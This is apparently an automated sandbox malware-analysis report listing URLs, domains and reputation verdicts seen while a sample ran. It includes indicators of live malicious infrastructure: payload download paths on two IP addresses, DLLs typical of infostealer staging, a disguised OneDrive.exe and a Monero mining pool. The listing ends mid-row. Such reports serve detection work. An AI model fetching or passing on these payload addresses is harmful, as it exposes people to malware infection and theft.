https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://www.youtube.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://amazon.com	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
http://77.91.77.81/cost/go.exe	100%	URL Reputation	malware
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phplF	100%	Avira URL Cloud	phishing
http://77.91.77.81/soka/random.exe	100%	Avira URL Cloud	phishing
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Avira URL Cloud	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
http://mozilla.org/MPL/2.0/.	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://coverage.mozilla.org	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	17%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Virustotal		Browse
https://services.addons.mozilla.org	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.php	100%	Avira URL Cloud	phishing
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	0%	Virustotal		Browse
https://services.addons.mozilla.org	0%	Virustotal		Browse
http://77.91.77.81/Kiru9gu/index.phpp	100%	Avira URL Cloud	phishing
http://77.91.77.81/Kiru9gu/index.php	23%	Virustotal		Browse
https://.onedrive.com	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpi	100%	Avira URL Cloud	phishing
http://www.jiyu-kobo.co.jp/8	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpi	5%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/freebl3.dllr	100%	Avira URL Cloud	malware
http://77.91.77.81/Kiru9gu/index.phpp	3%	Virustotal		Browse
https://profiler.firefox.com/	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpt	100%	Avira URL Cloud	phishing
https://.onedrive.com	0%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/sqlite3.dlle	100%	Avira URL Cloud	malware
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
https://profiler.firefox.com/	0%	Virustotal		Browse
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/8	0%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/sqlite3.dlle	20%	Virustotal		Browse
http://77.91.77.81/Kiru9gu/index.phpt	4%	Virustotal		Browse
http://77.91.77.81/Kiru9gu/index.phpxN/r	100%	Avira URL Cloud	phishing
http://77.91.77.81/soka/random.exe	26%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
http://exslt.org/dates-and-times0	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/freebl3.dllr	20%	Virustotal		Browse
http://www.carterandcone.comX	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/P	0%	Avira URL Cloud	safe
http://185.196.10.57/selectex-file-host/OneDrive.exe123456789	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
http://www.jiyu-kobo.co.jp/F	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpMN	100%	Avira URL Cloud	phishing
http://77.91.77.81/soka/random.exea	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
services.addons.mozilla.org	143.204.215.122	true	false	0%, Virustotal, Browse	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	0%, Virustotal, Browse	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	0%, Virustotal, Browse	unknown
pool-fr.supportxmr.com	141.94.96.71	true	true	3%, Virustotal, Browse	unknown
youtube-ui.l.google.com	142.250.185.110	true	false	0%, Virustotal, Browse	unknown
www3.l.google.com	142.250.185.142	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.186.142	true	false	0%, Virustotal, Browse	unknown
ipv4only.arpa	192.0.0.171	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.228	true	false	0%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	0%, Virustotal, Browse	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	0%, Virustotal, Browse	unknown
pool.supportxmr.com	unknown	unknown	true	9%, Virustotal, Browse	unknown
detectportal.firefox.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
clients2.googleusercontent.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
bzib.nelreports.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
accounts.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
firefox.settings.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/soka/random.exe	true	26%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://77.91.77.81/Kiru9gu/index.php	true	23%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Web Data.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phplF	axplong.exe, 0000002F.00000002.2971064872.00000000012B9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Web Data.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://detectportal.firefox.com/	firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org	firefox.exe, 00000010.00000003.2276563556.0000025CA7B04000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com0	firefox.exe, 00000010.00000003.2279545503.0000025CABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2264234395.0000025CAD493000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000010.00000003.2154163905.0000025C9ACDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.0000028272592000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpp	axplong.exe, 0000002F.00000002.2971064872.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.81/Kiru9gu/index.phpi	axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://www.fontbureau.com/designers	firefox.exe, 00000010.00000003.2530144138.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2570707146.0000025CA6D40000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000010.00000003.2531901960.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550225719.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141745850.0000025CA7B0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254166315.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273669273.0000025CA8CF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2041475296.0000025CACDD6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000000D.00000003.1862773274.000001B9AF75F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000010.00000003.2270218342.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB292000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2043345274.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/8	firefox.exe, 00000010.00000003.2818108690.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2787109414.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2811756104.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2774992829.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2820034327.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2828166087.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2827177838.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2821980823.0000025CA6D2D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://.onedrive.com	protocols.json.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dllr	file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://profiler.firefox.com/	firefox.exe, 00000010.00000003.2274386929.0000025CA8C82000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com	firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpt	axplong.exe, 0000002F.00000002.2971064872.000000000127B000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/sqlite3.dlle	file.exe, 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000000D.00000003.1862773274.000001B9AF722000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpxN/r	axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://exslt.org/dates-and-times0	firefox.exe, 00000010.00000003.2153546129.0000025CA6381000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comX	firefox.exe, 00000010.00000003.2697627315.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2697865089.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/P	firefox.exe, 00000010.00000003.2787109414.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2811756104.0000025CA6D2F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2774992829.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2770878514.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.10.57/selectex-file-host/OneDrive.exe123456789	axplong.exe, 0000002F.00000002.2971064872.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fpn.firefox.com	firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.19.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000D.00000002.2758512304.000001B9AF800000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 